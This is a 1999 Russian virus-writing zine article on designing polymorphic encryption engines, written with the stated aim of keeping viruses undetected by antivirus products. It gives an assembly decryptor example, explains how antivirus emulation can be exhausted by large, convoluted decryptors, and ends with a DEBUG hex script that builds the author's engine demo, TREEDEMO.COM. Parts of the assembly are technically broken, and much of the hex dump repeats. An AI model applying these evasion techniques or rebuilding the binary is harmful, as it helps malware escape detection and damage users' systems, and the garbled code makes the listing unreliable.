─[POLYMORPHISM `99]─────────────────────────────────────────────────[MONGOOSE]─


                         "A virus is only as great as it's polymorphic engine"
                                                                     -√irogen

   вступление

    Очень быстро летит  время. Теперь каждый уважающий себя антивирус содержит
 эмулятор и обнаружить или излечить сложно-полиморфный вирус для таких антиви-
 русов не составляет особого труда. Русские антивирусы считаются одними из са-
 мых лучших  в мире и следовательно  на написание гамнаморфиков [обычный поли-
 морфик по SSR'у] не стоит тратить времени, так все равно этот вирус будет оп-
 ределяться и  лечиться  очередным  дополнением (вспомним судьбу таких вирусов
 как: level3, zhengxi, smeg, уругвай...). Но написание  полиморфной ангины со-
 ответсвующей уровню 99 года, а не 96 на мой взгляд является наиболее интерес-
 ной задачей.


   полиморфизм.вступление

    Лично я  пишу полиморфный движок именно для того чтобы заткнуть ав на дли-
 тельное время,  чтобы вирусы использующие движок не детектировались.  На  мой
 взгляд этого можно добиться несколькими способами:

    Использование довольно большого количества антиевристических приемов
    Построение запутаного декриптора

    Из этих способов я немогу выбрать сложный или легкий, каждый их них подра-
 зумевает в себе некоторые недостатки. Пока еще  вирмейкеры ненашли антиеврис-
 тического приема который держался бы до сих пор, а на  выполнение запутанного
 декриптора затрачивается длительное время (параметры декриптора который затк-
 нет все антивирусы нельзя вычислить точно, поэтому можно немного [!] перебор-
 щить или обломаться), тем более что движок должен постоянно менять метод шиф-
 рования и для того чтобы зашифровать код прийдется _запускать_ созданый  дек-
 риптор, получается что время работы замедляется в ~два раза.  Я выбрал второй
 способ (именно ему и будет посвящена статья).


   полиморфизм.построение декриптора

    Движок обязательно  не должен содержать сигнатур иначе вирусы будут детек-
 титься даже ав таких фирм как McAfee. Ненужно  выдумывать слишком навороченые
 фишки при построении декриптора иначе их могут использовать против вас же са-
 мих (_несколько_ маленьких совпадений в декрипторах и у ав есть сигнатура).

    Движок не должен представлять из себя что-то целое, обязательно должны ис-
 пользоваться процедуры (callы) которые обязательно должны принимать участие в
 расшифровке кода. Пример декриптора:

               mov     dx,key                   ; work with key
               mov     si,dx
               xchg    si,ax

               sub     si,si                    ; work with location
               add     si,location

               mov     dx,size                  ; work with code size

 decrypt_loop: xor     byte ptr [si],ax         ;══════════╗
               inc     ax                       ;           ║
               not     word ptr [si]            ;           ║
               rol     byte ptr [ax],1          ;           ║
               call    branch_1                 ;──┐        ║
               ror     word ptr [ax],0ffh       ;═│═════╗  ║
               neg     byte ptr [si]            ;  │     ║  ║
               add     ax,10                    ;  │     ║  ║
               call    branch_2                 ;──┼─┐   ║  ║
               dec     ax                       ;═│═│═══║═╗║
               jmp     after_br_1               ;──│─│─┐ ║ ║║
                                                ;  │ │ │ ║ ║║
 branch_1:     push    cx                       ;─┘ │ │ ║ ║║
               mov     cx,10                    ;    │ │ ║ ║║
 br_1_loop:    rol     word ptr [ax],5          ;    │ │ ║ ║║
               xor     word ptr [si],0fah       ;    │ │ ║ ║║
               add     ax,0f00h                 ;    │ │ ║ ║║
               loop    br_1_loop                ;    │ │ ║ ║║
               pop     cx                       ;    │ │ ║ ║║
               ret                              ;════│═│═╝ ║║
                                                ;    │ │   ║║
 after_br_1:   ror     byte ptr [ax],100        ;───│─┘   ║║
               neg     word ptr [si]            ;    │     ║║
               jmp     after_br_2               ;────│─┐   ║║
                                                ;    │ │   ║║
 branch_2:     push    cx                       ;───┘ │   ║║
               mov     cx,94                    ;      │   ║║
 br_2_loop:    inc     ax                       ;      │   ║║
               neg     word ptr [si]            ;      │   ║║
               neg     byte ptr [si]            ;      │   ║║
               not     byte ptr [si]            ;      │   ║║
               mul     ax                       ;      │   ║║
               loop    br_2_loop                ;      │   ║║
               pop     cx                       ;      │   ║║
               ret                              ;══════│═══╝║
                                                ;      │    ║
 after_br_2:   not     word ptr [si]            ;─────┘    ║
               jmp     next_part                ;──┐        ║
 end_dec:      inc     si                       ;═│═════╗  ║
               dec     ax                       ;  │     ║  ║
               inc     si                       ;  │     ║  ║
               or      cx,cx                    ;  │     ║  ║
               jz      crypted_code             ;──│───┐ ║  ║
               jmp     decrypt_loop             ;══│═══│═║══╝
                                                ;  │   │ ║
 crypted_code: зашифрованный код                ;─│───┘ ║
                                                ;  │     ║
 next_part:    ror     byte ptr [ax],0bah       ;──┘     ║
               jmp     end_dec                  ;════════╝

    Нужно добавить "случайные переходы" типа:

               cmp     ax,500
               jz      skip_instr
               neg     word ptr [si+1]
 skip_instr:   not     byte ptr [si]

    или

               cmp     al,50
               ja      skip_instr
               xor     word ptr [si],ax
               call    branch_10
 skip_instr:   rol     word ptr [ax],0ffh

    которые будут значительно изменять метод шифрования.

    Несмотря на "запутаность" декриптора антивирусу всеже удастся расшифровать
 часть кода именно по нему он может определить наличие вируса в файле  и  про-
 должить (если нужно) эмуляцию кода и излечить файлик.


    Самые "популярные" методы детектирования полиморфиков:

   сигнатуры

    Полиморфики которые содержат в себе "явно" постояные участки нельзя  назы-
 вать полиморфиками  (но аверы их так все равно называют!). Обычно такие поли-
 морфики детектяться  по  сигнатурам или пишутся специальные процедуры которые
 могут продетектить полиморфик.

   крипт анализ

    Ав пытается найти зашифрованое тело вируса и попробовать расшифровать его.
 Этот метод явное дерьмо, потому что стоит использовать множетво разнообразных
 инструкций шифрующих вирусное тело (ror/rol, add/sub, not, neg, xor...)

   эмуляция

    Именно этот метод использутся во всех уважающих себя ав. Но любой ав немо-
 жет долго эмулировать программу и по этому если сделать декриптор  большим  и
 сложным  то антивирусы несмогут проэмулировать декриптор и даже не смогут оп-
 ределить вирус! Некоторые антивирусы (а может и все) после "неудачной" попыт-
 ки промулировать декриптор тестируют расшифрованую часть вирусного тела и ес-
 ли это тело похоже  на вирус, то ав продолжает эмуляцию декриптора. Я недумаю
 что выходом будет увеличение времени эмуляции например для того же вёба пото-
 му что он и так  часто зависает... Я незнаю как сильно avp раскручивает сред-
 ненький декриптор поэтому ничего на перед говорить небуду.


   полиморфизм.иллюстрация к статье

    Ниже вашему вниманию предоставлена программка демонстрирующая работу моего
 движка Tree 010 написаного по принципу описанному выше. Движок еще очень слаб
 и содержит массу недочетов (глюкодром) и представлен лиш в качестве иллюстра-
 ции к статье (меня всегда можно хороше пнуть по 2:5020/327.8), все (!) коман-
 ды которые будут встречаться в декрипторе принимают непосредственное  участие
 в расшифровке кода.

────[TREEDEMO.SCR]───[START]───────────────────────────────────────────────────
N TREEDEMO.COM
E 0100 BE 8B 01 BA 2E C1 B9 E9 07 80 FA 8B 71 11 F7 54 
E 0110 03 F6 14 C1 CA 16 C0 C2 8B C1 C2 0E 31 54 02 F7 
E 0120 14 F6 14 C0 CA 8B C0 C2 E0 C1 C2 8A 31 54 04 30 
E 0130 14 42 83 34 8A 80 34 BE F6 14 C0 CA 8A C1 CA AC 
E 0140 C0 C2 8A 31 54 04 30 54 03 30 74 03 80 34 8E F7 
E 0150 14 9E C0 C2 8A 31 54 02 30 74 05 F7 54 03 F6 14 
E 0160 31 54 01 30 14 30 74 04 83 34 8A 80 34 36 C0 CA 
E 0170 8A C0 C2 24 C1 C2 8A 31 14 30 54 05 4A 42 46 49 
E 0180 46 85 C9 74 03 E9 81 FF E9 00 00 22 8B 63 BF 6A 
E 0190 9D BA AC CC 67 8A 2C FD AC 92 69 7B 05 EE 51 E8 
E 01A0 3B A6 59 10 D3 27 F7 8C A4 85 44 06 45 EA 22 9A 
E 01B0 BC 19 75 8B 41 6A 9B D2 66 AA B3 DA 59 EC 05 A7 
E 01C0 BB 80 6F CD D8 8A B5 BD EE 78 20 78 91 8D B7 08 
E 01D0 4A 00 D4 79 8E 33 30 4E 11 68 B9 78 8C 32 8A 11 
E 01E0 FD 50 AE 86 8D 56 92 8D 6A 4F 20 48 9C AA C0 BA 
E 01F0 D1 95 AF DF 0A AB 97 7B 53 F6 0E 90 05 3D A0 B6 
E 0200 56 C4 90 09 A9 10 07 1F 9A AF 6E 27 83 17 B1 29 
E 0210 48 07 2C 53 34 BD FB FB 0A 48 E0 40 91 D5 FB 6B 
E 0220 EA 4E 27 A5 37 84 E8 1F 00 FD 39 E3 0D 02 C4 43 
E 0230 AB ED D1 02 26 C2 8C B3 28 B1 26 64 EB 57 B5 CE 
E 0240 06 42 1D B9 C3 CE B5 E4 F9 64 B4 F3 4F 67 39 DB 
E 0250 FA BC FF 3A 2A 22 6B 97 AF 10 78 B9 C3 F5 8F C6 
E 0260 DE 74 B9 A6 99 D1 12 E8 CC 09 D3 4D 03 09 31 62 
E 0270 16 E4 9A D0 11 2E A4 28 83 D3 FD F6 F5 57 59 35 
E 0280 EA 29 E5 A0 12 F9 97 4E C2 29 0C 5A 2E C5 3C 0C 
E 0290 4B B2 B6 23 2D 1D 03 E2 6C B0 41 58 21 E4 EA D2 
E 02A0 65 C1 C7 F9 EC 30 4A DC 29 44 CC A4 ED 04 43 37 
E 02B0 A5 B0 B8 33 F1 6E B9 40 A9 EF FF F0 1B 2B DD 15 
E 02C0 87 E5 EF 36 48 0D F4 A3 E4 9C 99 3C 64 5D 3E D8 
E 02D0 6E 20 78 D3 E7 D6 50 F5 B9 16 86 1A 59 2F 10 84 
E 02E0 B2 2F 71 18 D3 92 59 64 E6 D2 70 C2 F9 C1 DB 7F 
E 02F0 CA 08 FB 56 F5 58 8B C0 3F 5D 84 C3 32 CD 0C 66 
E 0300 53 3D 1C 6D 36 E4 C7 E9 4D D5 24 72 11 1C 9C 76 
E 0310 9F 07 58 2B 74 9A A2 D9 81 55 38 14 5D 39 4B 4B 
E 0320 DD A0 70 8C 9C 09 60 41 2E 68 09 CA F2 6F C9 34 
E 0330 C5 21 22 42 53 A2 9E B5 F4 35 23 29 40 82 4A A0 
E 0340 28 A3 08 B1 98 DA FB 52 69 63 2D 17 70 64 B5 15 
E 0350 C8 ED A6 0C AC C0 1C 6E E0 59 03 BE 4C A3 FB 52 
E 0360 F8 48 B2 63 C7 43 23 20 8D EE 03 4D 1C 6F 3D 5D 
E 0370 67 6C D8 55 5A 4F 81 E4 2A 66 7D FA BF 10 F5 3E 
E 0380 E4 4B 2A 5F 63 01 6A FB 76 49 DA 86 D9 BC 0F 17 
E 0390 62 BD 89 99 11 2B AE C4 76 FF AA 2F 71 CF 0D 4C 
E 03A0 25 7F BA BD 78 47 ED 19 D4 59 1C CF 67 2F B1 AF 
E 03B0 8B 3E 0E 5A 42 F6 71 E0 71 92 6D 24 E2 F3 F7 D7 
E 03C0 EC F8 C3 55 80 E7 3E 1B F1 1A 4D E6 B6 9C E7 9A 
E 03D0 E2 F6 15 E8 45 36 5B 63 B0 F2 D2 76 49 5C 7F 98 
E 03E0 82 AF 06 D9 8F 3E A7 29 5D 0C 79 7A C6 08 6D AF 
E 03F0 03 77 78 65 59 DE DA 4D D9 BC 54 7D 52 EA 17 23 
E 0400 9E C1 3E 4C B1 50 7C 8F 9D AA 04 5A 17 D6 D7 A0 
E 0410 AA 0D 16 62 1B E8 D8 7E B5 E5 1B 6F 7F D4 CB 19 
E 0420 DB 05 3B 3C 6C B5 B8 1E 77 68 29 41 3A FD 8A DA 
E 0430 4B 25 79 09 08 48 EF FA 00 D5 73 6B 6C 34 23 35 
E 0440 27 15 82 99 60 2C F7 16 95 1D 6C 8E 3D 94 B2 9F 
E 0450 17 DE EB 52 F7 F2 01 1C 8D 29 11 FA E4 BF 33 F1 
E 0460 2A FB 8E D3 AF 0A 7B 1A 76 08 9B F9 9E 9C EE 7C 
E 0470 95 80 08 A6 A2 E3 67 4D F6 BA 74 74 D7 23 E4 8D 
E 0480 24 74 31 28 E0 F0 B8 79 2D 9A DA 7C 02 83 AB 9F 
E 0490 61 63 76 20 66 95 07 0A E9 BB 3F E0 16 E4 B0 75 
E 04A0 5B 33 6A FE 6A AB AC 88 8D 3A F8 BE 77 A2 B7 AF 
E 04B0 D8 51 21 F8 A0 51 B5 42 D9 D3 DF 37 A6 8D F2 13 
E 04C0 0A C5 59 23 32 0E F7 DE BF D2 E8 1C AB 8A E6 D0 
E 04D0 90 91 A1 74 0D BB 5A 41 64 0F F1 59 E1 8C E2 DA 
E 04E0 2D 7F 43 1F 72 44 5C 9F 5B A1 17 8F DD 52 2E 3B 
E 04F0 31 F2 E8 18 03 2A AD CA 19 4D F5 14 64 4E BF 75 
E 0500 46 AF 0A 76 03 2D 33 CD 74 3A E5 66 7A 79 D5 1C 
E 0510 56 B4 29 60 A6 40 8B 22 DE 5E FB 04 FB BC 90 74 
E 0520 3D DD ED A9 5C F2 05 87 27 D7 7C DF 89 0B 13 23 
E 0530 F0 2E D3 69 24 EE CE 21 E6 50 2B 36 4B AE 0E F5 
E 0540 94 AC 33 D1 7E 9B AC 51 69 02 31 95 D9 5F 64 10 
E 0550 FC 46 E3 C4 C3 1F 1A 99 F5 04 70 19 9B 15 B6 B3 
E 0560 02 11 68 94 8E 4C 5C 1A 77 24 6B 18 48 C7 16 EE 
E 0570 B9 0B 5F 2B 8B EE 4A 69 2C EC 2C 05 21 C4 7B 63 
E 0580 C4 2E E4 0E D5 B4 28 3B 3D 71 7E B6 A7 18 24 38 
E 0590 54 5B 66 4A 64 86 7E 72 F8 5B 00 A2 18 56 CC 8A 
E 05A0 BB CB 61 89 64 97 0E B5 CE C3 6B 65 E8 DF 85 32 
E 05B0 D9 E4 BD 99 D8 EC 29 0B 32 9D E2 FD 6D 9A BB 85 
E 05C0 7E 91 9C 58 45 C1 00 98 F1 6D 84 E4 43 EE FB C5 
E 05D0 1A B6 9D 63 37 C5 F7 67 6D 69 7B B2 90 4C C9 3B 
E 05E0 36 F3 51 2D 14 36 62 62 9B 85 DA 4D 02 09 31 E2 
E 05F0 12 E4 9A D0 30 AB A7 5C 59 84 41 CF 3C 22 22 3B 
E 0600 23 73 86 20 19 7E BF C0 E1 A4 C3 37 0C 5C B6 69 
E 0610 5F 26 DE 20 1E 9D 84 A7 B6 B3 79 55 21 6D A4 79 
E 0620 E7 54 6B F9 EC 2E 4B 5C 4F E5 73 2C F6 91 A1 09 
E 0630 41 B1 33 8D 38 FC 36 FD 4F 9F 5D DE 5B 84 E4 F7 
E 0640 83 F4 DB 80 69 05 F1 2E CE 9A 17 06 D4 5E 4B AB 
E 0650 67 9C 6A 1A 55 53 93 FA 28 73 40 CE 11 A2 72 B0 
E 0660 32 10 44 10 FD FF 73 50 64 2B 28 E9 F7 EC F9 E1 
E 0670 D3 58 2F 02 82 D0 8D 4D DC 5D E4 63 03 F8 8E 4D 
E 0680 FE 73 9E 72 86 D9 77 9E 4F 8D 61 C9 12 DC 1E 99 
E 0690 7E C1 34 ED EE 18 24 81 08 CD 6C 9A 25 95 7A CF 
E 06A0 3C 40 72 AE 1F 4F EE 45 42 AE 7C 44 14 27 CC 04 
E 06B0 DA 21 0F 60 E8 A9 C6 61 E5 42 2D 59 76 4A F0 32 
E 06C0 2C 0B 8E 35 B8 1E 07 C0 FC 62 AD 51 53 6F F3 78 
E 06D0 0E 0A EF 08 9C B5 1D 72 40 B2 ED 5B C4 2F 81 72 
E 06E0 54 85 5C 59 A9 8F 2B 5F AB 1B A6 D3 17 69 85 B8 
E 06F0 DE EC AE 00 47 7E 80 BC 92 39 FA 93 3E 2F FD 37 
E 0700 9E 1C D0 D1 4E 23 8E F9 BE 2C 19 79 68 3A 8F 41 
E 0710 99 BF 18 AC C3 14 16 C3 9F D8 43 26 B3 39 B9 DE 
E 0720 9A 8D C6 02 9D F9 83 2F D8 69 98 DC 86 87 70 D0 
E 0730 46 C6 BB 5D 0D AC 41 5C 64 73 5E CE 89 A3 6A D8 
E 0740 08 53 11 43 6E 6E B7 14 F6 13 00 47 0A 95 27 06 
E 0750 6F CA 1F 28 44 2B 32 95 D3 7C 7E 94 CB 7A F5 27 
E 0760 C1 03 1A 7F 64 D0 5D A5 E0 25 04 D3 AF FE 08 21 
E 0770 AA F3 43 3C 5B 72 DB 62 E6 A7 5D BE C1 62 59 1D 
E 0780 66 7B 35 04 9C 72 FA 38 27 15 5E D8 34 65 67 89 
E 0790 52 6C 96 49 19 77 6E B6 08 76 F2 19 4B 5E 76 C6 
E 07A0 A6 2A 34 00 65 28 61 94 A1 D3 A6 1F 84 47 35 80 
E 07B0 17 7E 1B E7 CD 1F E4 75 C4 DD D6 59 F0 2D C2 A5 
E 07C0 19 F6 42 99 66 16 8B 17 7D 6F 72 0E 7B D9 AF D9 
E 07D0 94 E7 0A 16 F5 B2 7E 7B D8 97 A7 45 31 47 C1 DE 
E 07E0 FD 70 69 5D 32 3B FA C0 CE 55 D8 9A CC 83 EC 87 
E 07F0 56 9A B8 D1 A0 E0 75 CE 43 69 09 61 1B 2E 0C 26 
E 0800 0B F9 C7 55 6E 8F 3B 7A B1 4A D1 57 BD 61 04 B9 
E 0810 CF DC E1 A1 CF A7 8B 2E 05 87 B9 CC D2 1A 03 E5 
E 0820 E4 EF 9C CC CA A0 27 EE 0F 33 30 C0 02 A7 83 19 
E 0830 C9 E0 85 78 2F 66 FB 04 ED 9E E2 E0 1E 0B B4 53 
E 0840 96 C9 B4 C5 CD CD 00 86 E2 5F B6 A2 A2 82 D6 27 
E 0850 E8 AD D5 E7 DE 01 61 3C F9 B3 C6 C8 DD 84 1B 25 
E 0860 58 C1 C9 91 50 AB D3 B4 02 28 F9 F5 1C 6B 95 15 
E 0870 D0 2C 9F 6D 07 1A 64 C6 E4 06 C5 D9 65 EA F0 D5 
E 0880 68 AE BD E2 1E 2C 81 6A 42 8B C9 F2 36 2F 53 BC 
E 0890 E9 A7 CB D1 BB 76 D8 06 72 D2 39 E6 7E AF 1F FB 
E 08A0 1F 9A 62 AE 92 7A AB 78 3D D0 EB FA 84 52 9A 53 
E 08B0 21 22 DB BE 25 4B 42 E2 9D 9B 0E 99 61 10 1B FC 
E 08C0 1F 6A 57 AA 84 D3 5A 0B 1C 25 F1 EA A2 E5 9F D5 
E 08D0 84 A5 20 7E 01 99 E5 27 51 08 4A 58 41 A7 33 46 
E 08E0 78 54 8C 4E 5F C3 1D 89 0A 89 0B 76 F4 58 35 CD 
E 08F0 CA C8 CA D3 89 26 80 86 D2 42 4E 67 85 CE EE 33 
E 0900 49 21 EA 0B 3C 4F C9 D0 F3 55 74 B8 CB BE B2 E9 
E 0910 11 05 94 39 1E AB 83 8E 21 4D 1E 8C 88 CB 7C C4 
E 0920 BB 2C 61 01 B3 C0 B8 82 E6 4B 99 A2 60 39 3C DA 
E 0930 8B 9D FE F8 8E FC AB 15 80 B8 6D 8F 22 15 19 E1 
E 0940 91 50 4C 58 4B CF B5 95 F8 65 BC DF 42 C2 87 4E 
E 0950 75 0E 94 B2 21 9A 7D 5D 58 10 48 5F 08 68 41 7D 
E 0960 36 2B FB 2F 2F 92 16 E2 46 1E DA 74 34 09 60 03 
E 0970 10 6C A3 A4 89 DB AE 95 C5 50 AA C4 FC BE 2D DE 
E 0980 A0 75 C6 F8 C6 B9 A3 BD 73 7B 9E DC EB 98 3D 27 
E 0990 B3 22 F7 55 1C D4 C2 96 7F F9 FF 3D 60 20 5C F1 
E 09A0 61 64 63 3F 6A 01 43 DD C2 53 5C 24 53 34 4A 36 
E 09B0 D1 09 31 8D D0 67 34 F6 8F EB 5A 54 DD AD ED 1C 
E 09C0 86 64 51 06 41 0C F5 D6 46 1C 27 0E 6D 5C 4B 43 
E 09D0 E7 9E 61 DA 21 50 78 FC B8 F3 C6 FE 19 A6 96 F0 
E 09E0 BA 96 75 18 3B 79 5C 58 E4 A6 9E C6 FF 49 5D 58 
E 09F0 C3 58 C7 5F 80 5D 3B 7B D4 5E 14 C7 8A 46 BA 45 
E 0A00 5A B5 18 41 8E D8 CE 9C 4F 65 27 CB 19 1C 1F E5 
E 0A10 FE E4 F0 85 14 F3 9B E5 E9 5B DD E7 F4 50 B7 A4 
E 0A20 53 C6 7C C9 7A E8 F2 27 C3 C7 D4 B4 93 5D 32 DB 
E 0A30 55 47 8A 9F 61 9A F6 D4 6D D0 B6 09 93 F9 D9 A0 
E 0A40 BC 73 10 A7 23 4E E3 44 D5 F7 3D 29 C7 FD 23 60 
E 0A50 18 99 76 15 BA 24 84 47 74 C9 7B 5B D9 09 ED EA 
E 0A60 61 AC CE C9 D1 F4 BA C4 FB FE 15 FA 85 F9 FD C9 
E 0A70 4F 77 FE E4 C3 57 15 2C EA 7E 6B 43 26 39 6D AE 
E 0A80 83 3A BE 49 7B 17 F5 6F BE 31 3F 13 F0 0F 9F 6F 
E 0A90 B2 28 88 48 47 3D 85 53 E7 FF D2 BD E3 DC 23 C3 
E 0AA0 BC EF 5E 37 A9 96 95 A0 41 40 0A 4C FE B4 E1 4B 
E 0AB0 16 23 28 25 DA C2 68 CE F4 0B 58 5F 12 F3 8F 44 
E 0AC0 7C 83 09 55 F8 F7 AA 32 62 8A 35 73 23 07 B7 7E 
E 0AD0 7F 5B 84 78 A1 B7 46 45 CB 6A E7 0D D6 5C 62 BE 
E 0AE0 F4 37 33 ED F4 A8 A7 34 7B 75 E1 4F DB 2E 10 37 
E 0AF0 36 6A 5E 1A C1 EB EE 56 CF 35 CD C6 05 F3 C2 4D 
E 0B00 83 E7 41 D4 84 64 65 A1 3A 33 C3 41 01 51 4E 1B 
E 0B10 C2 14 38 D8 82 27 8B 05 21 E5 62 61 EF CF ED 96 
E 0B20 42 AE 1D 95 F5 50 DB 05 71 CB B0 5A 1C 5A 13 C3 
E 0B30 8F 4B 2F 9C 5B 1F F9 53 99 45 E3 70 62 BD BA 24 
E 0B40 88 6D 12 7C D5 3F 18 87 05 F8 E3 95 2B 3D 2B F0 
E 0B50 01 77 72 7B 65 62 66 6D 90 0F BA 63 77 DF F4 EA 
E 0B60 86 E6 69 40 14 64 62 F5 E7 C7 48 E2 B8 13 77 D7 
E 0B70 B3 29 91 42 30 98 3F 5E D8 39 ED E5 32 BB 9C 5E 
E 0B80 4B 69 17 4D 78 C4 A3 67 97 03 49 62 89 1A B0 B9 
E 0B90 D2 FA A0 39 FA 8E 19 BE 7D A0 29 57 82 FF 96 F8 
E 0BA0 C2 6F 05 F8 E3 32 B7 96 37 A3 AB 90 E7 32 9E 3F 
E 0BB0 48 79 B1 68 01 C5 63 94 09 0A 8C F6 BD 93 7D 8A 
E 0BC0 72 5A CD 0A A0 9E 90 AF 76 CF CE B7 32 19 86 C3 
E 0BD0 3C 01 44 03 62 AD F3 D8 7D A3 E8 77 44 15 FF FC 
E 0BE0 45 E7 77 05 64 FD C5 0B 9B B9 82 58 1C 7B BB AB 
E 0BF0 49 BD 7B C8 1A 3C D9 52 D0 50 D3 67 FC 7B 8B 6C 
E 0C00 68 BE 93 5F 87 BD 65 DB 5F AD 75 66 02 79 45 01 
E 0C10 70 36 B0 54 BB 66 F6 BA EB 43 DD 7B 63 89 A4 6F 
E 0C20 2B CC 74 12 0B EB D0 E9 3D C1 C5 46 1D C3 0B B6 
E 0C30 27 33 F5 00 BC DA D3 07 83 C8 1F F1 F0 80 8B 6C 
E 0C40 8F 8A B6 48 67 37 BF ED FB CD 18 00 49 09 72 3B 
E 0C50 6B D6 E3 BC 1A 8F 01 BF 7A 9D DB 3F 32 8C 52 29 
E 0C60 1F 37 17 0C BA 55 72 9F EE 11 70 0E ED 5E D1 55 
E 0C70 D1 9A 71 91 12 7F 64 CA B5 23 55 35 4F 05 BD A3 
E 0C80 D9 08 72 9B FC 28 B8 43 E5 E2 ED D6 93 D0 EA F1 
E 0C90 07 5B 0C 21 08 EB 1B 1A 91 55 08 CE 10 5F CC DC 
E 0CA0 AD 68 F9 19 A5 87 20 16 56 53 8F E8 F8 F1 26 AA 
E 0CB0 4B 09 2E E0 98 7C 32 0D 96 05 F9 9F 76 CD 01 D7 
E 0CC0 10 C9 84 CC 13 D7 A3 00 61 7D AA 47 DB 7E 1F 56 
E 0CD0 63 95 0D AA 37 04 E4 0E F9 84 E8 CB A8 DC E0 A9 
E 0CE0 A6 8B 2F BF 8F 66 86 F1 E2 8E 4A 64 90 99 49 93 
E 0CF0 80 7F CA 34 9C 82 35 CC 21 C3 D3 54 6C C6 BD 4E 
E 0D00 F3 07 56 39 0F DF 27 DA F7 1D 5A 4C 8C 5C AD 77 
E 0D10 EB B2 A6 0D 8C 84 92 06 2E A9 6F ED B8 F9 CC 61 
E 0D20 F1 F4 F3 AF FA 91 D3 4D 52 C3 CC B4 C3 A4 DA A6 
E 0D30 41 99 A1 1D 40 F7 A4 66 1F 7B CA C4 4D 3D 7D 8C 
E 0D40 16 F4 C1 96 D1 9C 65 46 D6 8C B7 9E FD CC DB D3 
E 0D50 77 0E F1 4A B1 C0 E8 6C 28 63 56 6E 89 36 06 60 
E 0D60 2A 06 E5 88 AB E9 CC C8 74 36 0E 56 6F D9 CD C8 
E 0D70 53 C8 57 CF 10 CD AB EB 44 CE 84 57 1A D6 2A D5 
E 0D80 CA 25 88 D1 1E 48 5E 0C DF F5 B7 5B 89 8C FB 07 
E 0D90 0B 11 40 3D F7 0E 6A 19 15 EB 20 02 10 A1 53 5D 
E 0DA0 AC 38 CC 3C 84 1F 0B D9 36 7E 64 52 66 BF D1 22 
E 0DB0 AA B9 3A 54 C1 3B 56 19 6D D0 B6 09 93 F9 D9 A0 
E 0DC0 BC 73 10 A7 23 4E E3 44 D5 F7 3D 29 C7 FD 23 60 
E 0DD0 18 99 76 15 BA 24 84 47 74 C9 7B 5B D9 09 ED EA 
E 0DE0 61 AC CE C9 D1 F4 BA C4 FB FE 15 FA 85 F9 FD C9 
E 0DF0 4F 77 FE E4 C3 57 15 2C EA 7E 6B 43 26 39 6D AE 
E 0E00 83 3A BE 49 7B 17 F5 6F BE 31 3F 13 F0 0F 9F 6F 
E 0E10 B2 28 88 48 47 3D 85 53 E7 FF D2 BD E3 DC 23 C3 
E 0E20 BC EF 5E 37 A9 96 95 A0 41 40 0A 4C FE B4 E1 4B 
E 0E30 16 23 28 25 DA C2 68 CE F4 0B 58 5F 12 F3 8F 44 
E 0E40 7C 83 09 55 F8 F7 AA 32 62 8A 35 73 23 07 B7 7E 
E 0E50 7F 5B 84 78 A1 B7 46 45 CB 6A E7 0D D6 5C 62 BE 
E 0E60 F4 37 33 ED F4 A8 A7 34 7B 75 E1 4F DB 2E 10 37 
E 0E70 36 6A 5E 1A C1 EB EE 56 CF 35 CD C6 05 F3 C2 4D 
E 0E80 83 E7 41 D4 84 64 65 A1 3A 33 C3 41 01 51 4E 1B 
E 0E90 C2 14 38 D8 82 27 8B 05 21 E5 62 61 EF CF ED 96 
E 0EA0 42 AE 1D 95 F5 50 DB 05 71 CB B0 5A 1C 5A 13 C3 
E 0EB0 8F 4B 2F 9C 5B 1F F9 53 99 45 E3 70 62 BD BA 24 
E 0EC0 88 6D 12 7C D5 3F 18 87 05 F8 E3 95 2B 3D 2B F0 
E 0ED0 01 77 72 7B 65 62 66 6D 90 0F BA 63 77 DF F4 EA 
E 0EE0 86 E6 69 40 14 64 62 F5 E7 C7 48 E2 B8 13 77 D7 
E 0EF0 B3 29 91 42 30 98 3F 5E D8 39 ED E5 32 BB 9C 5E 
E 0F00 4B 69 17 4D 78 C4 A3 67 97 03 49 62 89 1A B0 B9 
E 0F10 D2 FA A0 39 FA 8E 19 BE 7D A0 29 57 82 FF 96 F8 
E 0F20 C2 6F 05 F8 E3 32 B7 96 37 A3 AB 90 E7 32 9E 3F 
E 0F30 48 79 B1 68 01 C5 63 94 09 0A 8C F6 BD 93 7D 8A 
E 0F40 72 5A CD 0A A0 9E 90 AF 76 CF CE B7 32 19 86 C3 
E 0F50 3C 01 44 03 62 AD F3 D8 7D A3 E8 77 44 15 FF FC 
E 0F60 45 E7 77 05 64 FD C5 0B 9B B9 82 58 1C 7B BB AB 
E 0F70 49 BD 7B C8 1A 3C D9 52 D0 50 D3 67 FC 7B 8B 6C 
E 0F80 68 BE 93 5F 87 BD 65 DB 5F AD 75 66 02 79 45 01 
E 0F90 70 36 B0 54 BB 66 F6 BA EB 43 DD 7B 63 89 A4 6F 
E 0FA0 2B CC 74 12 0B EB D0 E9 3D C1 C5 46 1D C3 0B B6 
E 0FB0 27 33 F5 00 BC DA D3 07 83 C8 1F F1 F0 80 8B 6C 
E 0FC0 8F 8A B6 48 67 37 BF ED FB CD 18 00 49 09 72 3B 
E 0FD0 6B D6 E3 BC 1A 8F 01 BF 7A 9D DB 3F 32 8C 52 29 
E 0FE0 1F 37 17 0C BA 55 72 9F EE 11 70 0E ED 5E D1 55 
E 0FF0 D1 9A 71 91 12 7F 64 CA B5 23 55 35 4F 05 BD A3 
E 1000 D9 08 72 9B FC 28 B8 43 E5 E2 ED D6 93 D0 EA F1 
E 1010 07 5B 0C 21 08 EB 1B 1A 91 55 08 CE 10 5F CC DC 
E 1020 AD 68 F9 19 A5 87 20 16 56 53 8F E8 F8 F1 26 AA 
E 1030 4B 09 2E E0 98 7C 32 0D 96 05 F9 9F 76 CD 01 D7 
E 1040 10 C9 84 CC 13 D7 A3 00 61 7D AA 47 DB 7E 1F 56 
E 1050 63 95 0D AA 37 04 E4 0E F9 84 E8 CB A8 DC E0 A9 
E 1060 A6 8B 2F BF 8F 66 86 F1 E2 8E 4A 64 90 99 49 93 
E 1070 80 7F CA 34 9C 82 35 CC 21 C3 D3 54 6C C6 BD 4E 
E 1080 F3 07 56 39 0F DF 27 DA F7 1D 5A 4C 8C 5C AD 77 
E 1090 EB B2 A6 0D 8C 84 92 06 2E A9 6F ED B8 F9 CC 61 
E 10A0 F1 F4 F3 AF FA 91 D3 4D 52 C3 CC B4 C3 A4 DA A6 
E 10B0 41 99 A1 1D 40 F7 A4 66 1F 7B CA C4 4D 3D 7D 8C 
E 10C0 16 F4 C1 96 D1 9C 65 46 D6 8C B7 9E FD CC DB D3 
E 10D0 77 0E F1 4A B1 C0 E8 6C 28 63 56 6E 89 36 06 60 
